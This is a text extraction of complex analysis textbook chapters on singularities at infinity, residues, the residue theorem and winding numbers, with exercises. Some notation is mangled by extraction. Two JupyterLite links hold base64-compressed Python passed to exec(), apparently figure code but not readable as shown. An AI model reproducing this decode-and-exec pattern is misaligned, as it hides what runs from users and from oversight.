JT%2B1GbCSBymSgGdz4AKqgERscw6JSQ5zxHK0cmr7CmjhIKSWOwFObdiVT4uhm8YtdPzGgQiqgKk45YFraxbkQ2%2BO6pyxWDJz%2F%2BpZq1RTspVlCBFSz4RcQDh4unxqfm0fbol5p6vRpXwNYmXdPUaoooid2jE1GQMeGjcyf6yCako8%2FpAZkG9296SWnqwELpsHsfGpnJ1in34VLayupUr38ISYTccZIo898%2FBpwKnSkJrQ9VqEbnL4NO9SBBd68I0v459IHAtJWbKNvN3QlvPreskiuR6yan2uSjy0au%2FJKuKszFwKGHE4zNCONaV8gj9mkdwqTuS11rXf4fgYExytZxS0GLg%2F03SklORKx7VXXXGVPdpU2pi89eaoGZ02bTaHMqzeUae7lfk6Vak%2BCsJTqsV64%2B6Z93numcn9smL4xxhWQ20RA9Tl827Gqr5M%2F3YkzLI%2FLRGM6%2FIi1K11Ra3cbJU%2FdqW5UI7lu0e1urOUceghMrr9xLqsIMgWwhVMdZekFbqjvzqrXo%2FVt4J3g2Wh5dhOaRZ3AkeTuzJYRX03jll2EIS3G9QpfZ7dRBBWARpIoa5d24tzolO7a%2Ft2lj7vu761k32WFX%2B792mkPOU9tclpjJrAAk5LtRmjMclfplKiFdkQYxu7KnwVvXgS0Ty0jAodcwjld0Vaz7Y4hsBow7m5mAgvKMPDcT1zQd69cNU3etBp7sFdUdAtx6pE2%2Fir1KDvii4YX%2BIG9BzwR3VqbZzw96rMXGplt9g%2FQFgxGlkDjJ8bsVl5MPgvXIT7%2BUJVy2%2B2s3d%2B%2FIaKWfmpNcnHsqeRv5W6ztOUTaNEn%2B8yNuMLn7Tvt5CamVqx%2Bd3l5%2FfSzLxUkhqghwNIUyfSrxP0a6EaUX3c6l3dU%2BHDRHMH1z1vX2LY%2FKHvLmMfShFfXXwvF52i8Hn3BvLZ6mT3JdSa020mFSfsuZKhYoOfN1zVGA9FTrirU6pYz3jRa%2B%2BgvlfddT%2F%2Bgru1AuWEX3dkEfTMrxdmkU6VDkQ5Sn9rNIb2zho1cdNdmWbFV920ot%2BVkx%2BrtudFFY2thWKsS0pYZu1vwjwdhna7SII5jHp8oDAs0H9%2BqR1q%2BikaEg7JpR2bnfyXZZUh0GrNOFOSeZEW7b42O9vtsfLTbvKtT2C7keUr759K7ae%2FRszcAxe9emyt3kweitGxboF1i1onTGKlQs5o%2B81powy3VFs5n6wCYilRR%2F2iOy3gFgWENphNKEGRHnOnwksN1ScDVeufUWbTSPsRSp%2FffHhJZY34aWV0egAdR1XJP8f1CbcMlv1ps%2FInumTDDlj%2FtWWqlsz%2BqHrm%2FGcjxe9YQgdEDfXF%2BxJXN2f7%2BSrySTlnNmnYUjs2pyYPL7up8DQYuSfhFIPriKrN79Kb25Nb7uHxRCx8thXUjjtqeLu9y7Sr4o6ZVNgwf7nP%2F%2BbvZiIxlE59F8Y6lWbA0sv3AoFSxOgEFsilGFWmHFZSK4pfAPG6d1XqsIKAwq2mgwk%2Bizh2x6Ktr5zPtxR862JkizvnvzK98OmGH4aBvxzW3Sl8hZhRfD9bb7izTJfcXsSULRhRBskpU7GiXBzox%2BdwERnZY8ImolFRzWiDwZpuNXeE3dPG8EkfdjS3jeo0QAj1OnbPp00MwuiEXIaw%2BypD2LiJFqDhwkbbUURK78jhB1TTxD6VMPVz17hTRfqo%2B%2BTX6H36cyJvoRZforcv%2BiaGh2A3jN%2B5RtCBw7lF%2BeyoxVHKVYXH5jnnwwO9HgyFV8JZtuY61Ttd1yt%2FDTZuVIHvfr18cPD1A%2F4w4OVpHHgwxDOxecZA1mlqA6NFW%2BpQ%2FMgCVsgQ7b%2Fv81Lu18%3D%27%29%29.decode%28%29%0Aexec%28src%29
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Figure 26.3 (animated). e1/z near its essential singularity. A: every point moves in a straight line
from z to f(z). B: first 1/z (a turn of the sphere) sends small circles far out, then ew wraps them
round and round 0. C: the tiles on the left deform along the path of B.
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first 1=z; then ew; s= 1:00

first 1=z (a turn of the sphere) sends small circles far out, then ew wraps them round and round 0

C tiles (Figure 26.3, continued)

Proposition 26.10 (Behaviour at ∞). Let f be analytic on |z| > R0. Define g(w) := f(1/w)
on 0 < |w| < 1/R0. We say f has a removable singularity, a pole of order m, or an essential
singularity at ∞ according as g has one at 0. Then:

(i) f is a polynomial of degree m ≥ 1 if and only if f is entire with a pole of order m at ∞;

(ii) f is constant if and only if f is entire with a removable singularity at ∞;

(iii) ez is entire with an essential singularity at ∞.
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https://jupyterlite.github.io/demo/repl/index.html?kernel=python&toolbar=1&pyfig=c26_exp1z_c&code=import%20numpy%2C%20matplotlib%2C%20zlib%2C%20base64%20%20%23%20run%20print%28src%29%20to%20see%20the%20code%0Asrc%20%3D%20zlib.decompress%28base64.b64decode%28%27eNqtWWt32zYS%2Fc5fgWXsDehStCg%2FEstRzrZp2njXTn1SbzeJovpAJCQxpkiWgKxHkv3teweAHpadbT7UJyekgMHMYB53BqCXygGrcjHng2wYskEtxtI9VMiyQsv6VuQh6%2FfLWed1Wcig7TH8ZeOqrDXLSkwJJY8PQzYWuspLnWf9qJrTGxMKrLWhH9TlmJ1dzvWoLKI0UyRyyeTV1cV5yNygocaqKMlLJUmrwAy5aU7E3Pf9Z9l4yLK041eDa7z6TOl5Ljt%2BMqlVWber0ujuM51pM5xnyQ3TJavEREn%2FufdMJXVW6eferahZNWAdNs2KtJxG5v3ToM26vZDdtFkzZPWkaDNdT%2BQXmARiOywtk8lYFjoaSv0yl%2FT6w%2Fws5UttglMPj6gsrNwOG0yKRGdlwXjAPkFeBJ4Y%2Fpt9O2VfTj0l9ZmzN79Djv1nA8YdLfv8mdbfsOcdeg6iXBZDPQpYLfWkLk6JGqJVnTBL0CXq3qld1GHcPL9jccB2d9lueuphV7spNH6272wC87JdxrejIAisKwZSpmSDux4JVi68hluuYC1HXdbsBjxYLYqhdExdFNnIwAC%2FCVYD%2FQl5ICujH%2BZaqrNf%2BHoK0RApcSvx5CALiTnCDkFQDH0bpNdZkYyk6tD7eiHmwdNGatQ%2FPpRFUqaSeJAHsbeJ5EEQpdIMbwjEVqNJlQot7T4fL%2BPGmL6aqBH3MSva2VgM5T7knLp82FV%2BsLLoY9gTczDgI9bAH5NFysoB%2B%2Bekwibr80xLk4WyNtMePLAjf%2F8U7y%2B%2B7LBCIkQzrZhUCoGWiZyprBhOclFneo4FTBQQb%2BLlBeM6y2HgyPtZFrKG4inrz9lQFtdEpZCbNhlVJRP6dcqKEnZus5czMa5yyVrH0UHIqojFB8eMJ6PWcWMh61I1qhKMIy1n7YPD4JRdjWRZyzHRP2X8hUDaQYfGf2Qma6VroVTg2Dy1bNqt5gnWvZFjUd%2FQshM3f7KcB1%2Fvcv5TNmRJWdzSXkvKvJFk1o4MaJUVUlEgYNPpKnhCIipYIvJcWTiLogg2gB09z8FMMRlj78CkoloOrSHL20AvAAT3vx8ii%2B%2FTbUGbseTGbFLmuTSZq5bodlnm8xerYc8jbKuTSwHN1TK0PvngMYJldTQoCw0k8NvMT8aIaZ8GooEYZ%2FmcBpWss8FqXGULidG49SXwqixkwO4zBHpRRfQLDwzEHz3PI5gX9ZAvLF53GobEpSGshDkDaJSonCgsHXCixaqsR3YkSosxyynwGJcpxwOpnUu%2BCFjDzjVYLBtxK8TqPatNQJBDY06Zakq6iK%2Bos9jbEwBkPTLOXymnxQ28%2FCcq2v2LvoI%2BZsTwIVvUiEsyd5rdZimKQjYsEME%2BIRwggIqJG9mAJ7djLJ%2BOZC15zZ5TSSB2s4oLbI%2F2n5dDvk1Sw%2FSB2fZHUG0YHzgasmbgDJF%2F3Sm0d3CmNB%2BNHzDHN%2FlqrZ01yYMaOV3GZZ9fhGzhVODkHujKE2B7ALte%2FGX2NJZbQJV%2BwPYhwP1KV5pU5ZRUUWtrXOztKVNNBIXArax11ie4mrUoA%2Bts1mbkEkUmYxdQW6DYQ1PA7EXZzyYKZJVynQi1AhdLS124kKlrAAeEpnpeyU5SEhy6IkIkF9AUZOqPWhufZ4XIh6gZml%2B4ypiLcch%2Bs9zctESpurCzKOLkAhB1mz2kCL3EvQDRgsQ4uWei39g%2FiE%2BaCeM9u7e9pT%2BxGHFkSZwoGIX%2F5hSBDk7On%2F49gplq0S%2FRqbTNPnPGz%2BCL1zDha1ZkeYX6UNg27rUzQw71Sae55K1gK9q2FYWWNkksNTjT7Oulp5OJ5lXI3qwd3a%2BluIH30MrdSsazApin2RDOC5jJMBRDlkv0AcrkA9qOhLxci5S8%2FIYhRj4C7BUTCeoWkFgvPV1terp60NN9Qc3Nf0GVKRQbVGZeBewzW2ZQRQ57Y2lJiuVYX3d%2FEjmloiMznhsMQG7oYbODnlWhSxI%2Bm7U9u7gQxaYNK2cZJYdcWYy8iwlVXQ5rNAOMNymO0clh9wIdMFoQWERo6lgVbIVOAMYeltKFvSDy%2FhZAjLOCj8WMw2noJEw69s0bQCpq4v84WoHVIM8qAg0N03UOMb7Wi1gZ5XJRSFYiPxHt5USbQXg0Z2KWYTt5diNNag5hLCUtnldoGSqqkORw3YnbQIPGc%2BoCPgKNlgrPYa5FRJ3Wpv58ERn2DtbmNvSS0vigyvBTmxBMaWcpyBwFeqhNCrdDSiLa4HpnNWlS7%2B3xuNHSARN5iWZSimSEgJujO%2BnELLOBaFBJURu22P%2B8%2BPx7i7ZGExOEEUuyOsnlfXS2sMz2kCQx7N4y6lgVKZXMpjZK7KYr5puqOo53rXHPEgS01oSuDqM94ZWGYyZ3g6xfl1RsgS0UU3U5GY6YoSO0GEsArrKt5YR22W2G8arygMzlmXKZRuseyLWbFVSqSiSSo2rGiBBZ0IpgG1jMOaTiExzLQpJhNhps7PQeAe2T7CWpPBpE7KeC3eJQFx3B1PT%2FPRPdBt6vL169%2FBH0XcR%2FD0NxE0LyTGlOjPh9jY%2Bagamr3dgtOP7qAlA33QLPe7VWCo5ED87drync2mZL2Nd706ARB%2FsaXHXAqUqb%2BtjtkngcU7vEtdcLHWQ0w%2BiIeoxFQKfyGbej0VEYByFKzTFEv4HkA2zvayXBYC8AFGALgGZ9OS%2FRbusRIt3CrHd%2BdnF29SsdKBvHIcM%2F84Dx%2Fv0DBh8PMjQHbAcnmB0q9saHQCnTy1cE4gGULVLF1BhNu0sOwBSOOgAN18%2FjDDTdYdOa6jYGxgxhCDWo87dvO82dx97V2dX5S5K58%2BED9dH1%2BJOR%2FuXDBwb5IR6rCWJL4zhcTb9g5o8JwFh1dqPWwHA6f%2Fmvs9c%2Fhozevn%2FzM%2B3vMVJE1I%2FRBjWj%2BIhAERvFCalxEMWH8eFJ6%2Fjo4OjpyZMTjD0wFKNAvjo7P7siFbvxIYiaPc%2F79frlJXEnf3iv1HYgvKLMNr4LmSGFz4hB3PSkfDBrXoZ0qDT3Hh1TigLv6pxE9jw0HsudsU4HBwtR44BhsmuGxTOsnuM5x7OAVCxabt%2FQjGYhGxH28hkB1KxJNQKEfE4%2F5%2BbneHXW%2F7g%2B6483j%2FmYytZTxcYU%2FVGRg4QZZRplIcmc0w9K7dH8Du3VeSSqCpvlJnWLBD1oQX1oV2DBaIYVUi5hoU99oBl1Ayhu39F2iCgIPfZNfyvGBqKxcItbYKVsCVgSBz14T8IlDqjpcGBtrfGq44dsjtPDSJPNa2JSr2yu6af%2BK21er2xek0JLm%2BtvtDk3tqmtPbfKljk82PntKWslbZd9sx%2FWwla2fZhvYDzyNZGrxcYzl98b%2BOj6j9KBfDo4otP1o8GxPEgP%2FJ734heTRUTU5RlZJ2C7rNW7b%2Fj79u555vYrZAmNLtA7WSQISZh8cjw4io2wljhJnw78nnMQRHZvqDdMlp3gqJyiJgZt9i3tvLkAsn1gJdAl2vujwjSzcwPpoyxNZbHdh%2BQ5v9v1BgZp6ZQPIFq1vwF7xt5AMdC75vdOPLxSXNO5zVjDnFEBQ%2FSu6P0%2BbsUxnLBkRo%2FuphI0ELC%2Fr7pv%2BxsKBAbWbBGyVnsLfm%2FB8B2e72Iws5MbiXePgriZLiKiJphCZj2ALS8HqI24Q2EHiMLwNVfCKKbUTdDoWwqvt1ZIA9KCh6W%2FbWJ2PKRRhBW9vFuOvLMj3vv7Br46D7wFwfaCcHtBwL2YE7v3d3by%2Fs423t%2FZw%2FvNDYwXd5VfGJC3EgzAQwRaFbpx65iLebxNanMzT7dPHR5TPxMdIpHEjHjRJa1I02sxk4pTC2VqZvMp%2FX9wSP8%2FaZHHZ9MHiA83iI9aG8SLSEl9PcuzMTQ0ZloYE5CdFsEpW1LMDcV8RTF3FCRvzcL6wiybrpdZzwQmaYW5XQHXkGhcYgpDK8xRhfsSzUOO%2FBXpxwnOXn36ztAvZz6xjXSW3FybVplO%2FH0EIRnrJHB8xGxEnTXlQFLmZd3xm9HTFpjl0w7eDAsxu%2F2%2FNMYqZLz1rSO%2Fe9vIKZeS6642wQB0N47vbaYmmsYBktEIUB0gz7dAsUyHyxU%2BTpma7nxI1WmW6pEyyq19Zr7A8NrfWew0zOHQp3v7QhuDxAeBpykQthWHXt8gxXh1ywR6CpYkkxLcudfq4G9LpuijW1d0dibuTlp4oIFF7RUdP5HmE1LIbjd%2FrBnEdKPjfyh8siS1vYQ0wDPitXLYgVOaIC8rhh3Mrk5w7vLaxha1gObg0b1BfaEzkPkV2FuDS6pBD0Grnb6RkuCzm9kahNMPzcpiMjafAPhlQLouy4hdo61p6CJNLQPlspv1XKyY13W4mLpGYnrB5up17PAula3sK9Rkf%2BsJMrft2HexFY9Q3Kcbe2PFYV720btyV%2Bke0VUH3S2agyadHezXAWiYypruedzw5ncUWPvGfUV88LNmZ23b9betzpOma9G%2BfkuWC2hoP2HajxJVqbB6efqniqVGUHUsKsbJnXGw%2Bpq5vPHv%2BlU6MJf8dBr2qcgftrz1dzBz1Dwy%2F7nPZxufvK6vByjt19dRrao8AwLt%2B3TH3G3E5DToh6LqR9WcegqfWlT%2F2qoYQagfeP8Da%2FubFA%3D%3D%27%29%29.decode%28%29%0Aexec%28src%29
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Proof. (ii) A removable singularity at ∞ means f is bounded near ∞; being entire, it is bounded on
compact sets too, hence bounded on C, hence constant by Liouville 22.2. (i) A pole of orderm at ∞
means |f(1/w)| ∼ c |w|−m, i.e. |f(z)| ≤ A |z|m for large |z|; Corollary 22.3 makes f a polynomial of
degree ≤ m, and the degree is exactly m because the pole order is. Conversely, if f(z) =

∑m
j=0 cjz

j

with cm ̸= 0 and m ≥ 1, then f is entire and f(1/w) = w−m(cm+ cm−1w+ · · · + c0w
m
)

for w ̸= 0,
the bracket being a polynomial in w that is nonzero at w = 0; so f(1/w) has a pole of order m
at 0 by Theorem 26.5(ii). (iii) e1/w has an essential singularity at 0 by (25.9).

26.5 Exercises
Exercise 26.1. Locate and classify all isolated singularities:

z2

z2 + 4 ,
sin z
z3 ,

ez

(z − 1)2 ,
1

ez − 1 , z2 sin 1
z
,

cos z
z2 − π2/4 .

Exercise 26.2. Show that f(z) = 1 − cos z
z2 has a removable singularity at 0 and compute the

value that removes it.

Exercise 26.3. Determine the order of the pole of 1
(ez − 1 − z) at z = 0.

Exercise 26.4. (⋆) Let f be analytic on C except for finitely many poles, and suppose f has a
pole or removable singularity at ∞. Prove f is a rational function. (Subtract the principal parts
at each pole and apply Proposition 26.10.)

Exercise 26.5. Verify Casorati–Weierstrass for e1/z at 0 directly: given w0 ̸= 0 and η > 0,
exhibit z near 0 with

∣∣∣e1/z − w0
∣∣∣ < η. (Solve e1/z = w0 exactly, using (16.11).)

Exercise 26.6. Classify the singularity of sin
( 1

1−z
)

at z = 1, and of 1
sin(1/z) at z = 0. (The second

is not isolated — explain why.)

Exercise 26.7. Let f have a pole of order m at z0 and g a zero of order k there. Determine the
type and order of the singularity of fg, of f/g and of f + g at z0, treating all cases of m versus k.

Exercise 26.8. Classify the singularity at ∞ (Proposition 26.10) of p(z) = z3 − z, of 1
z2+1 , of

sin z, and of z2

z−1 .

Exercise 26.9. (⋆) Prove that f has a pole at z0 if and only if limz→z0 |f(z)| = ∞, and that
f has an essential singularity if and only if limz→z0 |f(z)| fails to exist in [0,∞]. (Combine
Theorems 26.4, 26.5 and 26.8: the three types are exactly the three possible behaviours of |f |.)
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Chapter 27

Residues and the Residue Theorem

27.1 The residue
Definition 27.1 (Residue). Let z0 be an isolated singularity of f , with Laurent expansion (26.1)
on D′(z0, R). The residue of f at z0 is the coefficient of (z − z0)−1:

Res(f, z0) := a−1 = 1
2πi

∮
C
f(z) dz, (27.1)

where C = C(z0, ρ) counterclockwise with 0 < ρ < R. If f is analytic at z0 we set Res(f, z0) = 0,
consistent with (27.1).

The second equality in (27.1) is (25.8), and it is the point of the whole construction: a single
number extracted from a series computes a contour integral.

Theorem 27.2 (Computing residues at poles). Let z0 be a pole of f .

(i) If the pole is simple,
Res(f, z0) = lim

z→z0
(z − z0)f(z). (27.2)

(ii) If the pole has order m ≥ 1,

Res(f, z0) = 1
(m− 1)! lim

z→z0

dm−1

dzm−1

[
(z − z0)mf(z)

]
. (27.3)

(iii) (Quotient rule.) If f = p/q with p, q analytic at z0, p(z0) ̸= 0, q(z0) = 0 and q′(z0) ̸= 0 (so
the pole is simple), then

Res
(p
q
, z0
)

= p(z0)
q′(z0) . (27.4)

Proof. (ii) By Theorem 26.5(ii), h(z) := (z − z0)mf(z) extends analytically to z0, with Taylor
expansion h(z) =

∑
j≥0 cj(z−z0)j where, comparing with (26.1), cj = aj−m. We want a−1 = cm−1,

and by (23.9) cm−1 = h(m−1)(z0)/(m− 1)!, which is (27.3).
(i) is (ii) with m = 1.
(iii) Since q(z0) = 0 and q′(z0) ̸= 0, q has a simple zero, so p/q has a simple pole by Corol-

lary 26.6. By (27.2),

Res
(p
q
, z0
)

= lim
z→z0

(z − z0)p(z)
q(z) = lim

z→z0

p(z)
q(z) − q(z0)
z − z0

= p(z0)
q′(z0) .
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Warning 27.3. Formulas (27.2)–(27.4) apply only at poles. At an essential singularity there is no
shortcut: one must produce the Laurent series and read off a−1, as in Example 25.7.

Example 27.4 (Residue computations). (a) f(z) = z + 1
z2 − 4 at z0 = 2: simple pole, and by (27.4)

with p = z + 1, q = z2 − 4, q′ = 2z: Res = 3
4 .

(b) f(z) = ez

(z − 1)3 at z0 = 1: pole of order 3, so by (27.3), Res = 1
2! limz→1

d2

dz2 e
z = e

2 .

(c) f(z) = cot z = cos z
sin z at z0 = kπ: by (27.4), Res = cos kπ

cos kπ = 1 for every integer k. This
uniformity is what makes cot the summation kernel of Chapter 32.

(d) f(z) = z2e1/z at 0: essential. From (25.9), z2e1/z =
∑
k≥0

z2−k

k! , and 2 − k = −1 when k = 3,
so Res = 1

3! = 1
6 .

(e) f(z) = 1
z2(z − 1) at 0: pole of order 2, so Res = limz→0

d
dz

1
z−1 = limz→0

−1
(z−1)2 = −1.

27.2 The residue theorem
Theorem 27.5 (Cauchy’s residue theorem). Let C be a simple closed contour traversed counter-
clockwise, let U be an open set containing C and all points inside C, and let f be analytic on U
except for finitely many isolated singularities z1, . . . , zn, none of which lies on C. (This covers the
usual situation: C in a simply connected region D, and f analytic on D except for finitely many
isolated singularities, none on C.) Then∮

C
f(z) dz = 2πi

n∑
k=1

zk inside C

Res(f, zk). (27.5)

Proof. Relabel so that z1, . . . , zp are the singularities inside C and the rest lie outside. Choose
ρ > 0 small enough that the closed discs D(zk, ρ), k = 1, . . . , p, are pairwise disjoint and all lie
inside C; let Ck := C(zk, ρ) counterclockwise. The function f is analytic on an open set containing
C, every Ck, and all points inside C and outside every Ck, so the many-hole deformation theorem
20.10 gives ∮

C
f(z) dz =

p∑
k=1

∮
Ck

f(z) dz.

By the definition of the residue (27.1), each term equals 2πiRes(f, zk).

z1

z2

z3

z4 (outside: no contribution)

C
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Figure 27.1. The residue theorem 27.5. Shrinking C onto small circles around each enclosed singu-
larity — legitimate by the deformation theorem 20.10 — replaces one hard integral by a sum of local
ones, and each of those is 2πi times a single Laurent coefficient. Singularities outside C contribute
nothing.

z1 z2 z3

z4

z4 (outside C)
C

2¼iRes(f; z1) 2¼iRes(f; z2) 2¼iRes(f; z3)

Each small circle gives 2¼iRes(f; zk) (eq. (27.1)): the residue theoremI
C
f dz= 2¼i

X
zk inside C

Res(f; zk);  z4 is outside and does not count

f(z) = 405 e z=2

(z+ 3)3 z (z¡ 3) (z¡ 4¡ 3i)

inside C: z1 =¡3 (pole of order 3), z2 = 0, z3 = 3
outside C: z4 = 4+ 3iI
C
f dz=

I
C1

f dz+

I
C2

f dz+

I
C3

f dzI
C1

f dz= 2¼iRes(f; z1),  Res(f; z1) =  ¡0:409 + 0:221 iI
C2

f dz= 2¼iRes(f; z2),  Res(f; z2) =  0:800¡ 0:600 iI
C3

f dz= 2¼iRes(f; z3),  Res(f; z3) =  ¡0:280 + 0:840 iI
C
f dz= 2¼i

3X
k= 1

Res(f; zk) = 2¼i (0:111 + 0:462 i) =  ¡2:900 + 0:699 i

check, computed directly round C: 
I
C
f dz=  ¡2:900 + 0:699 i

z4 is outside C: Res(f; z4) =  ¡0:016¡ 0:428 i is not counted

(residues from Theorem 27.2)

Figure 27.2 (animated). The proof of Theorem 27.5 for f(z) = 405 ez/2

(z+3)3z(z−3)(z−4−3i) , which has a
pole of order 3 at z1 = −3 and simple poles at z2 = 0, z3 = 3 inside C and at z4 = 4 + 3i outside.
Small circles Ck are drawn about z1, z2, z3, and cuts along the real axis divide the region inside C
and outside the circles into two pieces. No piece contains a singularity, so each integral round a
piece is 0 (Theorem 20.9). When the pieces are put back, each cut is run once in each direction and
cancels; what is left is C counterclockwise and the Ck clockwise, which is the many-hole deformation
theorem 20.10. Each Ck gives 2πiRes(f, zk) by (27.1), with the residues computed by Theorem 27.2;
their sum agrees with

∮
C
f dz computed directly. The pole z4 outside C does not count.
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Slide the contour: the integral changes only when the contour crosses a pole
poles inside: z1, z2, z3;  value =  Res(f; z1)+Res(f; z2)+Res(f; z3) =  0:111 + 0:462 i

arrow §zk: a jump by §Res(f; zk)

1
2¼i

I
f dz=  0:111 + 0:462 i (computed)

Figure 27.3 (animated). The residue theorem seen another way, for the same f . A circle slides across
the plane, and 1

2πi

∮
f dz round it is computed in every frame (right: as a point, and its real and

imaginary parts against time). The value stays constant while no pole crosses the circle, and jumps
by exactly + Res(f, zk) when zk enters and − Res(f, zk) when it leaves: at every moment it is the
sum of the residues inside, as (27.5) says.

Example 27.6. Evaluate
∮

|z|=3

4z − 5
z(z − 1)2 dz. The singularities are 0 (simple) and 1 (double),

both inside.

Res(f, 0) = lim
z→0

4z − 5
(z − 1)2 = −5, Res(f, 1) = lim

z→1

d

dz

4z − 5
z

= lim
z→1

5
z2 = 5.

By (27.5) the integral is 2πi(−5 + 5) = 0.
Evaluate

∮
|z|=2

tan z dz. Here tan z = sin z
cos z has simple poles where cos z = 0, i.e. z = ±π/2

(both inside |z| = 2, since π/2 ≈ 1.571), with residues sin z
− sin z = −1 each by (27.4). So the integral

is 2πi(−1 − 1) = −4πi.

Evaluate
∮

|z|=1

e1/z

z
dz. The only singularity is the essential one at 0. Multiplying (25.9) by

1/z, e1/z

z =
∑
k≥0

1
k!zk+1 , whose z−1-coefficient is the k = 0 term, namely 1. So the value is 2πi.

27.3 The winding number and the general form
For contours that are not simple, the correct statement counts how many times the contour
encircles each singularity.

Definition 27.7 (Winding number). Let γ be a closed contour and z0 ∈ C a point not on γ. The
winding number (or index) of γ about z0 is

Ind(γ; z0) := 1
2πi

∮
γ

dz
z − z0

. (27.6)
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CHAPTER 27. RESIDUES AND THE RESIDUE THEOREM 194

Proposition 27.8 (The index is an integer). Ind(γ; z0) ∈ Z for every closed contour γ and every
z0 /∈ γ. It is constant on each connected component of C\γ and is 0 on the unbounded component.
For the circle traversed n times counterclockwise, γ(t) = z0 + ρeit, t ∈ [0, 2πn] (n ≥ 1), the index
about its centre z0 is n.

Proof. Let γ : [a, b] → C and define

φ(t) :=
∫ t

a

γ′(s)
γ(s) − z0

ds.

Then φ is continuous, piecewise differentiable, with φ′(t) = γ′(t)
γ(t)−z0

where defined. Consider
ψ(t) := e−φ(t)(γ(t) − z0

)
. Wherever differentiable,

ψ′(t) = e−φ[−φ′(γ − z0) + γ′] = e−φ[−γ′ + γ′] = 0,

so ψ is constant on [a, b] (it is continuous and piecewise constant). Hence ψ(b) = ψ(a), i.e.

e−φ(b)(γ(b) − z0
)

= e−φ(a)(γ(a) − z0
)

= γ(a) − z0,

using φ(a) = 0. Since γ is closed, γ(b) = γ(a), and γ(a) − z0 ̸= 0, so e−φ(b) = 1 and therefore
φ(b) ∈ 2πiZ by Theorem 16.3(ii). But φ(b) =

∮
γ

dz
z−z0

= 2πi Ind(γ; z0).
Local constancy: z0 7→ Ind(γ; z0) is continuous on C \ γ (differentiate under the integral, or

estimate directly) and integer-valued, hence locally constant. On the unbounded component, the
ML-inequality (19.15) gives |Ind| ≤ length(γ)

2π dist(z0,γ) → 0 as |z0| → ∞, so the constant value is 0. For
the circle traversed n times,

∮
γ

dz
z−z0

=
∫ 2πn

0
iρeit

ρeit dt = 2πi n, so the index is n (for n = 1 this is
(19.16)).

Theorem 27.9 (Residue theorem, general form). Let D be a simply connected region, f analytic
on D except at isolated singularities z1, . . . , zn, and γ a closed contour in D avoiding all zk. Then∮

γ
f(z) dz = 2πi

n∑
k=1

Ind(γ; zk) Res(f, zk). (27.7)

Proof. For each k let Pk(z) :=
∑
j≥1 a

(k)
−j (z − zk)−j be the principal part of f at zk, where f

is analytic on A(zk; 0, Rk). It converges on C \ {zk}: by Theorem 25.3 it converges for 0 <

|z − zk| < Rk, i.e. the power series
∑
j≥1 a

(k)
−jw

j converges for every w with |w| > 1/Rk, so by
Theorem 23.10(i) its radius of convergence is ∞. Hence Pk is the composition of an entire function
of w (Theorem 23.11) with w = 1/(z− zk), and is analytic on C \ {zk}. Then F := f −

∑
k Pk has

removable singularities at every zk and so extends analytically to D; by Theorem 20.9,
∮
γ F = 0.

Hence ∮
γ
f =

n∑
k=1

∮
γ
Pk.

We may integrate Pk term by term over γ: γ is compact and avoids zk, so δ := minz∈γ |z − zk| >
0, and on γ we have |w| = 1/ |z − zk| ≤ 1/δ, where the series in w converges uniformly by
Theorem 23.10(ii). (This matters when zk is essential and Pk has infinitely many terms.) Term
by term,

∮
γ(z−zk)−j dz = 0 for j ≥ 2 because (z−zk)−j has the antiderivative (z−zk)1−j

1−j on C\{zk}
and Theorem 20.2 applies to the closed contour γ; and for j = 1 the integral is 2πi Ind(γ; zk) by
(27.6). Only a(k)

−1 = Res(f, zk) survives.
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Example 27.10. Let γ be the circle |z| = 2 traversed twice clockwise. Then Ind(γ; 0) = −2, and∮
γ

ez

z
dz = 2πi · (−2) · Res

(ez
z
, 0
)

= 2πi · (−2) · 1 = −4πi.

Ind = 0

Ind = 1

Ind = 2

Ind =¡1

z0

0.0 0.2 0.4 0.6 0.8 1.0
t  (fraction of ° traversed)

−2

−1

0

1

2

Re '(t)=2¼i: turns of the ray so far
Im '(t)=2¼i (returns to 0)

Move z0: the index is constant on each region, jumps by §1 across °
z0 in a region of index ¡1: the ray turns once, clockwise

= 1.9000+0.1000i;   0.86

= −1.0000+0.0000i

= -1.0000

z0;  dist(z0; °)

'(t)=2¼i

Ind(°; z0)

Figure 27.4 (animated). The index Indγ(z0) as a function of the point (Definition 27.7), for a closed
curve with regions of index 2, 1, 0,−1. As a point runs round γ, the ray from z0 to γ(t) turns, and
below, φ(t)/2πi from the proof of Proposition 27.8 is drawn: its real part counts the turns so far.
Then z0 moves across γ: the index is constant on each region and jumps by ±1 at each crossing.
Last, Theorem 27.9 for a function with poles in regions of index 2,−1, 0: 1

2πi

∮
γ
f dz = 1.5000 =

2 · 1 + (−1) · 0.5 + 0 · 3, each residue weighted by its index; and Example 27.10,
∮
ez/z dz = −4πi.

27.4 Exercises
Exercise 27.1. Compute all residues:

z

z2 + 1 ,
ez

z2(z − 2) ,
1

z4 + 1 ,
cos z
z5 , z3e2/z.
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Exercise 27.2. Evaluate by residues, all contours counterclockwise:∮
|z|=2

dz
z2 − 1 ,

∮
|z|=4

z

(z − 1)(z − 3) dz,
∮

|z|=1

sin z
z4 dz,

∮
|z|=1

cot z dz.

Exercise 27.3. Let f(z) = 1
z5 − 1. Show Res(f, ω) = ω

5 at each fifth root of unity ω, and deduce∑
ω5=1 Res(f, ω) = 0 using (4.6). Interpret the result via

∮
|z|=2 f .

Exercise 27.4. (⋆) (Residue at infinity.) Define Res(f,∞) := − 1
2πi
∮

|z|=R f(z) dz for R large.
Prove that if f is analytic on C except for finitely many singularities, then the sum of all residues,
including the one at ∞, is 0. Use it to evaluate

∮
|z|=5

z3

z4−1 dz in one line.

Exercise 27.5. Give an example of f with Res(f, z0) = 0 at a pole z0 of order 2, and explain
why this does not contradict Theorem 26.5.

Exercise 27.6. Let γ be the figure-eight contour that encircles 1 once counterclockwise and −1
once clockwise. Compute

∮
γ

dz
z2−1 using Theorem 27.9.

Exercise 27.7. Compute Res
( 1

sin z , kπ
)

for every k ∈ Z, and evaluate
∮

|z|=4 csc z dz.

Exercise 27.8. Let f have a pole of order 2 at z0. Show Res(f, z0) = limz→z0
d
dz

[
(z − z0)2f(z)

]
,

and use it to compute the residue of ez

(z − 1)2(z − 3) at 1.

Exercise 27.9. (⋆) Let f be analytic and nonzero at z0 and let g have a simple zero there. Prove
Res

(f
g , z0

)
= f(z0)

g′(z0) and, more generally, that if g has a zero of order 2 then

Res
(f
g
, z0
)

= 2f ′(z0)
g′′(z0) − 2f(z0)g′′′(z0)

3
(
g′′(z0)

)2 .

(Expand both f and g in Taylor series about z0 and divide.)



Chapter 28

Evaluation of Real Trigonometric
Integrals

The residue theorem evaluates definite real integrals that elementary calculus cannot touch. This
chapter treats the first and easiest family: integrals of a rational expression in cos θ and sin θ over
a full period. The idea is that such an integral is already a contour integral over the unit circle,
